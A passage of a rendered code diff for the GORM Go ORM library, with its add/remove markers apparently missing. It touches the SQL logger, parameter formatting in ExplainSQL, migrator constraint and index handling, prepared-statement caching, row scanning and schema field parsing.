sql, rows := fc()
if rows == -1 {
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= Warn:
sql, rows := fc()
slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold)
if rows == -1 {
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
case l.LogLevel >= Info:
sql, rows := fc()
if rows == -1 {
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
if l.LogLevel <= Silent {
return
}
elapsed := time.Since(begin)
switch {
case err != nil && l.LogLevel >= Error && (!errors.Is(err, ErrRecordNotFound) || !l.IgnoreRecordNotFoundError):
sql, rows := fc()
if rows == -1 {
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceErrStr, utils.FileWithLineNum(), err, float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
case elapsed > l.SlowThreshold && l.SlowThreshold != 0 && l.LogLevel >= Warn:
sql, rows := fc()
slowLog := fmt.Sprintf("SLOW SQL >= %v", l.SlowThreshold)
if rows == -1 {
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceWarnStr, utils.FileWithLineNum(), slowLog, float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
case l.LogLevel == Info:
sql, rows := fc()
if rows == -1 {
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, "-", sql)
} else {
l.Printf(l.traceStr, utils.FileWithLineNum(), float64(elapsed.Nanoseconds())/1e6, rows, sql)
}
}
}
+22 -16
View File
@@ -13,6 +13,12 @@ import (
"gorm.io/gorm/utils"
)
const (
tmFmtWithMS = "2006-01-02 15:04:05.999"
tmFmtZero = "0000-00-00 00:00:00"
nullStr = "NULL"
)
func isPrintable(s []byte) bool {
for _, r := range s {
if !unicode.IsPrint(rune(r)) {
@@ -22,7 +28,7 @@ func isPrintable(s []byte) bool {
return true
}
var convertableTypes = []reflect.Type{reflect.TypeOf(time.Time{}), reflect.TypeOf(false), reflect.TypeOf([]byte{})}
var convertibleTypes = []reflect.Type{reflect.TypeOf(time.Time{}), reflect.TypeOf(false), reflect.TypeOf([]byte{})}
func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, avars ...interface{}) string {
var convertParams func(interface{}, int)
@@ -34,26 +40,19 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
vars[idx] = strconv.FormatBool(v)
case time.Time:
if v.IsZero() {
vars[idx] = escaper + "0000-00-00 00:00:00" + escaper
vars[idx] = escaper + tmFmtZero + escaper
} else {
vars[idx] = escaper + v.Format("2006-01-02 15:04:05.999") + escaper
vars[idx] = escaper + v.Format(tmFmtWithMS) + escaper
}
case *time.Time:
if v != nil {
if v.IsZero() {
vars[idx] = escaper + "0000-00-00 00:00:00" + escaper
vars[idx] = escaper + tmFmtZero + escaper
} else {
vars[idx] = escaper + v.Format("2006-01-02 15:04:05.999") + escaper
vars[idx] = escaper + v.Format(tmFmtWithMS) + escaper
}
} else {
vars[idx] = "NULL"
}
case fmt.Stringer:
reflectValue := reflect.ValueOf(v)
if v != nil && reflectValue.IsValid() && ((reflectValue.Kind() == reflect.Ptr && !reflectValue.IsNil()) || reflectValue.Kind() != reflect.Ptr) {
vars[idx] = escaper + strings.Replace(fmt.Sprintf("%v", v), escaper, "\\"+escaper, -1) + escaper
} else {
vars[idx] = "NULL"
vars[idx] = nullStr
}
case driver.Valuer:
reflectValue := reflect.ValueOf(v)
@@ -61,7 +60,14 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
r, _ := v.Value()
convertParams(r, idx)
} else {
vars[idx] = "NULL"
vars[idx] = nullStr
}
case fmt.Stringer:
reflectValue := reflect.ValueOf(v)
if v != nil && reflectValue.IsValid() && ((reflectValue.Kind() == reflect.Ptr && !reflectValue.IsNil()) || reflectValue.Kind() != reflect.Ptr) {
vars[idx] = escaper + strings.Replace(fmt.Sprintf("%v", v), escaper, "\\"+escaper, -1) + escaper
} else {
vars[idx] = nullStr
}
case []byte:
if isPrintable(v) {
@@ -78,14 +84,14 @@ func ExplainSQL(sql string, numericPlaceholder *regexp.Regexp, escaper string, a
default:
rv := reflect.ValueOf(v)
if v == nil || !rv.IsValid() || rv.Kind() == reflect.Ptr && rv.IsNil() {
vars[idx] = "NULL"
vars[idx] = nullStr
} else if valuer, ok := v.(driver.Valuer); ok {
v, _ = valuer.Value()
convertParams(v, idx)
} else if rv.Kind() == reflect.Ptr && !rv.IsZero() {
convertParams(reflect.Indirect(rv).Interface(), idx)
} else {
for _, t := range convertableTypes {
for _, t := range convertibleTypes {
if rv.Type().ConvertibleTo(t) {
convertParams(rv.Convert(t).Interface(), idx)
return
+12 -1
View File
@@ -7,7 +7,18 @@ import (
// Migrator returns migrator
func (db *DB) Migrator() Migrator {
return db.Dialector.Migrator(db.Session(&Session{WithConditions: true}))
tx := db.getInstance()
// apply scopes to migrator
for len(tx.Statement.scopes) > 0 {
scopes := tx.Statement.scopes
tx.Statement.scopes = nil
for _, scope := range scopes {
tx = scope(tx)
}
}
return tx.Dialector.Migrator(tx.Session(&Session{}))
}
// AutoMigrate run auto migration for given models
+144 -70
View File
@@ -2,6 +2,7 @@ package migrator
import (
"context"
"database/sql"
"fmt"
"reflect"
"regexp"
@@ -12,6 +13,11 @@ import (
"gorm.io/gorm/schema"
)
var (
regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`)
regFullDataType = regexp.MustCompile(`[^\d]*(\d+)[^\d]?`)
)
// Migrator m struct
type Migrator struct {
Config
@@ -114,13 +120,10 @@ func (m Migrator) AutoMigrate(values ...interface{}) error {
for _, rel := range stmt.Schema.Relationships.Relations {
if !m.DB.Config.DisableForeignKeyConstraintWhenMigrating {
if constraint := rel.ParseConstraint(); constraint != nil {
if constraint.Schema == stmt.Schema {
if !tx.Migrator().HasConstraint(value, constraint.Name) {
if err := tx.Migrator().CreateConstraint(value, constraint.Name); err != nil {
return err
}
}
if constraint := rel.ParseConstraint(); constraint != nil &&
constraint.Schema == stmt.Schema && !tx.Migrator().HasConstraint(value, constraint.Name) {
if err := tx.Migrator().CreateConstraint(value, constraint.Name); err != nil {
return err
}
}
}
@@ -164,10 +167,12 @@ func (m Migrator) CreateTable(values ...interface{}) error {
for _, dbName := range stmt.Schema.DBNames {
field := stmt.Schema.FieldsByDBName[dbName]
createTableSQL += "? ?"
hasPrimaryKeyInDataType = hasPrimaryKeyInDataType || strings.Contains(strings.ToUpper(string(field.DataType)), "PRIMARY KEY")
values = append(values, clause.Column{Name: dbName}, m.DB.Migrator().FullDataTypeOf(field))
createTableSQL += ","
if !field.IgnoreMigration {
createTableSQL += "? ?"
hasPrimaryKeyInDataType = hasPrimaryKeyInDataType || strings.Contains(strings.ToUpper(string(field.DataType)), "PRIMARY KEY")
values = append(values, clause.Column{Name: dbName}, m.DB.Migrator().FullDataTypeOf(field))
createTableSQL += ","
}
}
if !hasPrimaryKeyInDataType && len(stmt.Schema.PrimaryFields) > 0 {
@@ -183,7 +188,9 @@ func (m Migrator) CreateTable(values ...interface{}) error {
for _, idx := range stmt.Schema.ParseIndexes() {
if m.CreateIndexAfterCreateTable {
defer func(value interface{}, name string) {
errr = tx.Migrator().CreateIndex(value, name)
if errr == nil {
errr = tx.Migrator().CreateIndex(value, name)
}
}(value, idx.Name)
} else {
if idx.Class != "" {
@@ -191,6 +198,10 @@ func (m Migrator) CreateTable(values ...interface{}) error {
}
createTableSQL += "INDEX ? ?"
if idx.Comment != "" {
createTableSQL += fmt.Sprintf(" COMMENT '%s'", idx.Comment)
}
if idx.Option != "" {
createTableSQL += " " + idx.Option
}
@@ -287,13 +298,20 @@ func (m Migrator) RenameTable(oldName, newName interface{}) error {
func (m Migrator) AddColumn(value interface{}, field string) error {
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
if field := stmt.Schema.LookUpField(field); field != nil {
// avoid using the same name field
f := stmt.Schema.LookUpField(field)
if f == nil {
return fmt.Errorf("failed to look up field with name: %s", field)
}
if !f.IgnoreMigration {
return m.DB.Exec(
"ALTER TABLE ? ADD ? ?",
m.CurrentTable(stmt), clause.Column{Name: field.DBName}, m.DB.Migrator().FullDataTypeOf(field),
m.CurrentTable(stmt), clause.Column{Name: f.DBName}, m.DB.Migrator().FullDataTypeOf(f),
).Error
}
return fmt.Errorf("failed to look up field with name: %s", field)
return nil
})
}
@@ -371,9 +389,11 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
alterColumn = true
} else {
// has size in data type and not equal
matches := regexp.MustCompile(`[^\d](\d+)[^\d]?`).FindAllStringSubmatch(realDataType, -1)
matches2 := regexp.MustCompile(`[^\d]*(\d+)[^\d]?`).FindAllStringSubmatch(fullDataType, -1)
if (len(matches) == 1 && matches[0][1] != fmt.Sprint(field.Size) || !field.PrimaryKey) && (len(matches2) == 1 && matches2[0][1] != fmt.Sprint(length)) {
// Since the following code is frequently called in the for loop, reg optimization is needed here
matches := regRealDataType.FindAllStringSubmatch(realDataType, -1)
matches2 := regFullDataType.FindAllStringSubmatch(fullDataType, -1)
if (len(matches) == 1 && matches[0][1] != fmt.Sprint(field.Size) || !field.PrimaryKey) &&
(len(matches2) == 1 && matches2[0][1] != fmt.Sprint(length)) {
alterColumn = true
}
}
@@ -381,7 +401,7 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
// check precision
if precision, _, ok := columnType.DecimalSize(); ok && int64(field.Precision) != precision {
if strings.Contains(fullDataType, fmt.Sprint(field.Precision)) {
if regexp.MustCompile(fmt.Sprintf("[^0-9]%d[^0-9]", field.Precision)).MatchString(m.DataTypeOf(field)) {
alterColumn = true
}
}
@@ -394,29 +414,38 @@ func (m Migrator) MigrateColumn(value interface{}, field *schema.Field, columnTy
}
}
if alterColumn {
if alterColumn && !field.IgnoreMigration {
return m.DB.Migrator().AlterColumn(value, field.Name)
}
return nil
}
func (m Migrator) ColumnTypes(value interface{}) (columnTypes []gorm.ColumnType, err error) {
columnTypes = make([]gorm.ColumnType, 0)
err = m.RunWithValue(value, func(stmt *gorm.Statement) error {
// ColumnTypes return columnTypes []gorm.ColumnType and execErr error
func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) {
columnTypes := make([]gorm.ColumnType, 0)
execErr := m.RunWithValue(value, func(stmt *gorm.Statement) error {
rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows()
if err == nil {
defer rows.Close()
rawColumnTypes, err := rows.ColumnTypes()
if err == nil {
for _, c := range rawColumnTypes {
columnTypes = append(columnTypes, c)
}
}
if err != nil {
return err
}
return err
defer rows.Close()
var rawColumnTypes []*sql.ColumnType
rawColumnTypes, err = rows.ColumnTypes()
if err != nil {
return err
}
for _, c := range rawColumnTypes {
columnTypes = append(columnTypes, c)
}
return nil
})
return
return columnTypes, execErr
}
func (m Migrator) CreateView(name string, option gorm.ViewOption) error {
@@ -449,50 +478,82 @@ func buildConstraint(constraint *schema.Constraint) (sql string, results []inter
return
}
func (m Migrator) GuessConstraintAndTable(stmt *gorm.Statement, name string) (_ *schema.Constraint, _ *schema.Check, table string) {
if stmt.Schema == nil {
return nil, nil, stmt.Table
}
checkConstraints := stmt.Schema.ParseCheckConstraints()
if chk, ok := checkConstraints[name]; ok {
return nil, &chk, stmt.Table
}
getTable := func(rel *schema.Relationship) string {
switch rel.Type {
case schema.HasOne, schema.HasMany:
return rel.FieldSchema.Table
case schema.Many2Many:
return rel.JoinTable.Table
}
return stmt.Table
}
for _, rel := range stmt.Schema.Relationships.Relations {
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Name == name {
return constraint, nil, getTable(rel)
}
}
if field := stmt.Schema.LookUpField(name); field != nil {
for k := range checkConstraints {
if checkConstraints[k].Field == field {
v := checkConstraints[k]
return nil, &v, stmt.Table
}
}
for _, rel := range stmt.Schema.Relationships.Relations {
if constraint := rel.ParseConstraint(); constraint != nil && rel.Field == field {
return constraint, nil, getTable(rel)
}
}
}
return nil, nil, stmt.Schema.Table
}
func (m Migrator) CreateConstraint(value interface{}, name string) error {
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
checkConstraints := stmt.Schema.ParseCheckConstraints()
if chk, ok := checkConstraints[name]; ok {
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
if chk != nil {
return m.DB.Exec(
"ALTER TABLE ? ADD CONSTRAINT ? CHECK (?)",
m.CurrentTable(stmt), clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint},
).Error
}
for _, rel := range stmt.Schema.Relationships.Relations {
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Name == name {
sql, values := buildConstraint(constraint)
return m.DB.Exec("ALTER TABLE ? ADD "+sql, append([]interface{}{m.CurrentTable(stmt)}, values...)...).Error
if constraint != nil {
var vars = []interface{}{clause.Table{Name: table}}
if stmt.TableExpr != nil {
vars[0] = stmt.TableExpr
}
sql, values := buildConstraint(constraint)
return m.DB.Exec("ALTER TABLE ? ADD "+sql, append(vars, values...)...).Error
}
err := fmt.Errorf("failed to create constraint with name %v", name)
if field := stmt.Schema.LookUpField(name); field != nil {
for _, cc := range checkConstraints {
if err = m.DB.Migrator().CreateIndex(value, cc.Name); err != nil {
return err
}
}
for _, rel := range stmt.Schema.Relationships.Relations {
if constraint := rel.ParseConstraint(); constraint != nil && constraint.Field == field {
if err = m.DB.Migrator().CreateIndex(value, constraint.Name); err != nil {
return err
}
}
}
}
return err
return nil
})
}
func (m Migrator) DropConstraint(value interface{}, name string) error {
return m.RunWithValue(value, func(stmt *gorm.Statement) error {
return m.DB.Exec(
"ALTER TABLE ? DROP CONSTRAINT ?",
m.CurrentTable(stmt), clause.Column{Name: name},
).Error
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
if constraint != nil {
name = constraint.Name
} else if chk != nil {
name = chk.Name
}
return m.DB.Exec("ALTER TABLE ? DROP CONSTRAINT ?", clause.Table{Name: table}, clause.Column{Name: name}).Error
})
}
@@ -500,9 +561,16 @@ func (m Migrator) HasConstraint(value interface{}, name string) bool {
var count int64
m.RunWithValue(value, func(stmt *gorm.Statement) error {
currentDatabase := m.DB.Migrator().CurrentDatabase()
constraint, chk, table := m.GuessConstraintAndTable(stmt, name)
if constraint != nil {
name = constraint.Name
} else if chk != nil {
name = chk.Name
}
return m.DB.Raw(
"SELECT count(*) FROM INFORMATION_SCHEMA.table_constraints WHERE constraint_schema = ? AND table_name = ? AND constraint_name = ?",
currentDatabase, stmt.Table, name,
currentDatabase, table, name,
).Row().Scan(&count)
})
@@ -550,6 +618,10 @@ func (m Migrator) CreateIndex(value interface{}, name string) error {
createIndexSQL += " USING " + idx.Type
}
if idx.Comment != "" {
createIndexSQL += fmt.Sprintf(" COMMENT '%s'", idx.Comment)
}
if idx.Option != "" {
createIndexSQL += " " + idx.Option
}
@@ -557,7 +629,7 @@ func (m Migrator) CreateIndex(value interface{}, name string) error {
return m.DB.Exec(createIndexSQL, values...).Error
}
return fmt.Errorf("failed to create index with name %v", name)
return fmt.Errorf("failed to create index with name %s", name)
})
}
@@ -667,13 +739,15 @@ func (m Migrator) ReorderModels(values []interface{}, autoAdd bool) (results []i
}
orderedModelNamesMap[name] = true
dep := valuesMap[name]
for _, d := range dep.Depends {
if _, ok := valuesMap[d.Table]; ok {
insertIntoOrderedList(d.Table)
} else if autoAdd {
parseDependence(reflect.New(d.ModelType).Interface(), autoAdd)
insertIntoOrderedList(d.Table)
if autoAdd {
dep := valuesMap[name]
for _, d := range dep.Depends {
if _, ok := valuesMap[d.Table]; ok {
insertIntoOrderedList(d.Table)
} else {
parseDependence(reflect.New(d.ModelType).Interface(), autoAdd)
insertIntoOrderedList(d.Table)
}
}
}
+41 -22
View File
@@ -6,28 +6,45 @@ import (
"sync"
)
type Stmt struct {
*sql.Stmt
Transaction bool
}
type PreparedStmtDB struct {
Stmts map[string]*sql.Stmt
Stmts map[string]Stmt
PreparedSQL []string
Mux *sync.RWMutex
ConnPool
}
func (db *PreparedStmtDB) GetDBConn() (*sql.DB, error) {
if dbConnector, ok := db.ConnPool.(GetDBConnector); ok && dbConnector != nil {
return dbConnector.GetDBConn()
}
if sqldb, ok := db.ConnPool.(*sql.DB); ok {
return sqldb, nil
}
return nil, ErrInvalidDB
}
func (db *PreparedStmtDB) Close() {
db.Mux.Lock()
for _, query := range db.PreparedSQL {
if stmt, ok := db.Stmts[query]; ok {
delete(db.Stmts, query)
stmt.Close()
go stmt.Close()
}
}
db.Mux.Unlock()
}
func (db *PreparedStmtDB) prepare(ctx context.Context, query string) (*sql.Stmt, error) {
func (db *PreparedStmtDB) prepare(ctx context.Context, conn ConnPool, isTransaction bool, query string) (Stmt, error) {
db.Mux.RLock()
if stmt, ok := db.Stmts[query]; ok {
if stmt, ok := db.Stmts[query]; ok && (!stmt.Transaction || isTransaction) {
db.Mux.RUnlock()
return stmt, nil
}
@@ -35,19 +52,21 @@ func (db *PreparedStmtDB) prepare(ctx context.Context, query string) (*sql.Stmt,
db.Mux.Lock()
// double check
if stmt, ok := db.Stmts[query]; ok {
if stmt, ok := db.Stmts[query]; ok && (!stmt.Transaction || isTransaction) {
db.Mux.Unlock()
return stmt, nil
} else if ok {
go stmt.Close()
}
stmt, err := db.ConnPool.PrepareContext(ctx, query)
stmt, err := conn.PrepareContext(ctx, query)
if err == nil {
db.Stmts[query] = stmt
db.Stmts[query] = Stmt{Stmt: stmt, Transaction: isTransaction}
db.PreparedSQL = append(db.PreparedSQL, query)
}
db.Mux.Unlock()
defer db.Mux.Unlock()
return stmt, err
return db.Stmts[query], err
}
func (db *PreparedStmtDB) BeginTx(ctx context.Context, opt *sql.TxOptions) (ConnPool, error) {
@@ -59,12 +78,12 @@ func (db *PreparedStmtDB) BeginTx(ctx context.Context, opt *sql.TxOptions) (Conn
}
func (db *PreparedStmtDB) ExecContext(ctx context.Context, query string, args ...interface{}) (result sql.Result, err error) {
stmt, err := db.prepare(ctx, query)
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
if err == nil {
result, err = stmt.ExecContext(ctx, args...)
if err != nil {
db.Mux.Lock()
stmt.Close()
go stmt.Close()
delete(db.Stmts, query)
db.Mux.Unlock()
}
@@ -73,12 +92,12 @@ func (db *PreparedStmtDB) ExecContext(ctx context.Context, query string, args ..
}
func (db *PreparedStmtDB) QueryContext(ctx context.Context, query string, args ...interface{}) (rows *sql.Rows, err error) {
stmt, err := db.prepare(ctx, query)
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
if err == nil {
rows, err = stmt.QueryContext(ctx, args...)
if err != nil {
db.Mux.Lock()
stmt.Close()
go stmt.Close()
delete(db.Stmts, query)
db.Mux.Unlock()
}
@@ -87,7 +106,7 @@ func (db *PreparedStmtDB) QueryContext(ctx context.Context, query string, args .
}
func (db *PreparedStmtDB) QueryRowContext(ctx context.Context, query string, args ...interface{}) *sql.Row {
stmt, err := db.prepare(ctx, query)
stmt, err := db.prepare(ctx, db.ConnPool, false, query)
if err == nil {
return stmt.QueryRowContext(ctx, args...)
}
@@ -114,12 +133,12 @@ func (tx *PreparedStmtTX) Rollback() error {
}
func (tx *PreparedStmtTX) ExecContext(ctx context.Context, query string, args ...interface{}) (result sql.Result, err error) {
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
if err == nil {
result, err = tx.Tx.StmtContext(ctx, stmt).ExecContext(ctx, args...)
result, err = tx.Tx.StmtContext(ctx, stmt.Stmt).ExecContext(ctx, args...)
if err != nil {
tx.PreparedStmtDB.Mux.Lock()
stmt.Close()
go stmt.Close()
delete(tx.PreparedStmtDB.Stmts, query)
tx.PreparedStmtDB.Mux.Unlock()
}
@@ -128,12 +147,12 @@ func (tx *PreparedStmtTX) ExecContext(ctx context.Context, query string, args ..
}
func (tx *PreparedStmtTX) QueryContext(ctx context.Context, query string, args ...interface{}) (rows *sql.Rows, err error) {
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
if err == nil {
rows, err = tx.Tx.Stmt(stmt).QueryContext(ctx, args...)
rows, err = tx.Tx.Stmt(stmt.Stmt).QueryContext(ctx, args...)
if err != nil {
tx.PreparedStmtDB.Mux.Lock()
stmt.Close()
go stmt.Close()
delete(tx.PreparedStmtDB.Stmts, query)
tx.PreparedStmtDB.Mux.Unlock()
}
@@ -142,9 +161,9 @@ func (tx *PreparedStmtTX) QueryContext(ctx context.Context, query string, args .
}
func (tx *PreparedStmtTX) QueryRowContext(ctx context.Context, query string, args ...interface{}) *sql.Row {
stmt, err := tx.PreparedStmtDB.prepare(ctx, query)
stmt, err := tx.PreparedStmtDB.prepare(ctx, tx.Tx, true, query)
if err == nil {
return tx.Tx.StmtContext(ctx, stmt).QueryRowContext(ctx, args...)
return tx.Tx.StmtContext(ctx, stmt.Stmt).QueryRowContext(ctx, args...)
}
return &sql.Row{}
}
+29 -16
View File
@@ -84,7 +84,12 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
scanIntoMap(mapValue, values, columns)
*dest = append(*dest, mapValue)
}
case *int, *int64, *uint, *uint64, *float32, *float64, *string, *time.Time:
case *int, *int8, *int16, *int32, *int64,
*uint, *uint8, *uint16, *uint32, *uint64, *uintptr,
*float32, *float64,
*bool, *string, *time.Time,
*sql.NullInt32, *sql.NullInt64, *sql.NullFloat64,
*sql.NullBool, *sql.NullString, *sql.NullTime:
for initialized || rows.Next() {
initialized = false
db.RowsAffected++
@@ -106,7 +111,7 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
reflectValueType = reflectValueType.Elem()
}
db.Statement.ReflectValue.Set(reflect.MakeSlice(db.Statement.ReflectValue.Type(), 0, 0))
db.Statement.ReflectValue.Set(reflect.MakeSlice(db.Statement.ReflectValue.Type(), 0, 20))
if Schema != nil {
if reflectValueType != Schema.ModelType && reflectValueType.Kind() == reflect.Struct {
@@ -117,13 +122,13 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
if field := Schema.LookUpField(column); field != nil && field.Readable {
fields[idx] = field
} else if names := strings.Split(column, "__"); len(names) > 1 {
if len(joinFields) == 0 {
joinFields = make([][2]*schema.Field, len(columns))
}
if rel, ok := Schema.Relationships.Relations[names[0]]; ok {
if field := rel.FieldSchema.LookUpField(strings.Join(names[1:], "__")); field != nil && field.Readable {
fields[idx] = field
if len(joinFields) == 0 {
joinFields = make([][2]*schema.Field, len(columns))
}
joinFields[idx] = [2]*schema.Field{rel.Field, field}
continue
}
@@ -138,9 +143,9 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
// pluck values into slice of data
isPluck := false
if len(fields) == 1 {
if _, ok := reflect.New(reflectValueType).Interface().(sql.Scanner); ok {
isPluck = true
} else if reflectValueType.Kind() != reflect.Struct || reflectValueType.ConvertibleTo(schema.TimeReflectType) {
if _, ok := reflect.New(reflectValueType).Interface().(sql.Scanner); ok || // is scanner
reflectValueType.Kind() != reflect.Struct || // is not struct
Schema.ModelType.ConvertibleTo(schema.TimeReflectType) { // is time
isPluck = true
}
}
@@ -149,9 +154,9 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
initialized = false
db.RowsAffected++
elem := reflect.New(reflectValueType).Elem()
elem := reflect.New(reflectValueType)
if isPluck {
db.AddError(rows.Scan(elem.Addr().Interface()))
db.AddError(rows.Scan(elem.Interface()))
} else {
for idx, field := range fields {
if field != nil {
@@ -181,12 +186,12 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
}
if isPtr {
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem.Addr()))
} else {
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem))
} else {
db.Statement.ReflectValue.Set(reflect.Append(db.Statement.ReflectValue, elem.Elem()))
}
}
case reflect.Struct:
case reflect.Struct, reflect.Ptr:
if db.Statement.ReflectValue.Type() != Schema.ModelType {
Schema, _ = schema.Parse(db.Statement.Dest, db.cacheStore, db.NamingStrategy)
}
@@ -203,6 +208,8 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
}
}
values[idx] = &sql.RawBytes{}
} else if len(columns) == 1 {
values[idx] = dest
} else {
values[idx] = &sql.RawBytes{}
}
@@ -216,8 +223,8 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
field.Set(db.Statement.ReflectValue, values[idx])
} else if names := strings.Split(column, "__"); len(names) > 1 {
if rel, ok := Schema.Relationships.Relations[names[0]]; ok {
relValue := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
if field := rel.FieldSchema.LookUpField(strings.Join(names[1:], "__")); field != nil && field.Readable {
relValue := rel.Field.ReflectValueOf(db.Statement.ReflectValue)
value := reflect.ValueOf(values[idx]).Elem()
if relValue.Kind() == reflect.Ptr && relValue.IsNil() {
@@ -233,10 +240,16 @@ func Scan(rows *sql.Rows, db *DB, initialized bool) {
}
}
}
default:
db.AddError(rows.Scan(dest))
}
}
if db.RowsAffected == 0 && db.Statement.RaiseErrorOnNotFound {
if err := rows.Err(); err != nil && err != db.Error {
db.AddError(err)
}
if db.RowsAffected == 0 && db.Statement.RaiseErrorOnNotFound && db.Error == nil {
db.AddError(ErrRecordNotFound)
}
}
+6 -1
View File
@@ -5,6 +5,11 @@ import (
"strings"
)
var (
// reg match english letters and midline
regEnLetterAndMidline = regexp.MustCompile("^[A-Za-z-_]+$")
)
type Check struct {
Name string
Constraint string // length(phone) >= 10
@@ -17,7 +22,7 @@ func (schema *Schema) ParseCheckConstraints() map[string]Check {
for _, field := range schema.FieldsByDBName {
if chk := field.TagSettings["CHECK"]; chk != "" {
names := strings.Split(chk, ",")
if len(names) > 1 && regexp.MustCompile("^[A-Za-z-_]+$").MatchString(names[0]) {
if len(names) > 1 && regEnLetterAndMidline.MatchString(names[0]) {
checks[names[0]] = Check{Name: names[0], Constraint: strings.Join(names[1:], ","), Field: field}
} else {
if names[0] == "" {
+97 -81
View File
@@ -37,55 +37,58 @@ const (
)
type Field struct {
Name string
DBName string
BindNames []string
DataType DataType
GORMDataType DataType
PrimaryKey bool
AutoIncrement bool
Creatable bool
Updatable bool
Readable bool
HasDefaultValue bool
AutoCreateTime TimeType
AutoUpdateTime TimeType
DefaultValue string
DefaultValueInterface interface{}
NotNull bool
Unique bool
Comment string
Size int
Precision int
Scale int
FieldType reflect.Type
IndirectFieldType reflect.Type
StructField reflect.StructField
Tag reflect.StructTag
TagSettings map[string]string
Schema *Schema
EmbeddedSchema *Schema
OwnerSchema *Schema
ReflectValueOf func(reflect.Value) reflect.Value
ValueOf func(reflect.Value) (value interface{}, zero bool)
Set func(reflect.Value, interface{}) error
Name string
DBName string
BindNames []string
DataType DataType
GORMDataType DataType
PrimaryKey bool
AutoIncrement bool
AutoIncrementIncrement int64
Creatable bool
Updatable bool
Readable bool
HasDefaultValue bool
AutoCreateTime TimeType
AutoUpdateTime TimeType
DefaultValue string
DefaultValueInterface interface{}
NotNull bool
Unique bool
Comment string
Size int
Precision int
Scale int
FieldType reflect.Type
IndirectFieldType reflect.Type
StructField reflect.StructField
Tag reflect.StructTag
TagSettings map[string]string
Schema *Schema
EmbeddedSchema *Schema
OwnerSchema *Schema
ReflectValueOf func(reflect.Value) reflect.Value
ValueOf func(reflect.Value) (value interface{}, zero bool)
Set func(reflect.Value, interface{}) error
IgnoreMigration bool
}
func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
var err error
field := &Field{
Name: fieldStruct.Name,
BindNames: []string{fieldStruct.Name},
FieldType: fieldStruct.Type,
IndirectFieldType: fieldStruct.Type,
StructField: fieldStruct,
Creatable: true,
Updatable: true,
Readable: true,
Tag: fieldStruct.Tag,
TagSettings: ParseTagSetting(fieldStruct.Tag.Get("gorm"), ";"),
Schema: schema,
Name: fieldStruct.Name,
BindNames: []string{fieldStruct.Name},
FieldType: fieldStruct.Type,
IndirectFieldType: fieldStruct.Type,
StructField: fieldStruct,
Creatable: true,
Updatable: true,
Readable: true,
Tag: fieldStruct.Tag,
TagSettings: ParseTagSetting(fieldStruct.Tag.Get("gorm"), ";"),
Schema: schema,
AutoIncrementIncrement: 1,
}
for field.IndirectFieldType.Kind() == reflect.Ptr {
@@ -149,6 +152,10 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
field.HasDefaultValue = true
}
if num, ok := field.TagSettings["AUTOINCREMENTINCREMENT"]; ok {
field.AutoIncrementIncrement, _ = strconv.ParseInt(num, 10, 64)
}
if v, ok := field.TagSettings["DEFAULT"]; ok {
field.HasDefaultValue = true
field.DefaultValue = v
@@ -183,6 +190,7 @@ func (schema *Schema) ParseField(fieldStruct reflect.StructField) *Field {
}
// default value is function or null or blank (primary keys)
field.DefaultValue = strings.TrimSpace(field.DefaultValue)
skipParseDefaultValue := strings.Contains(field.DefaultValue, "(") &&
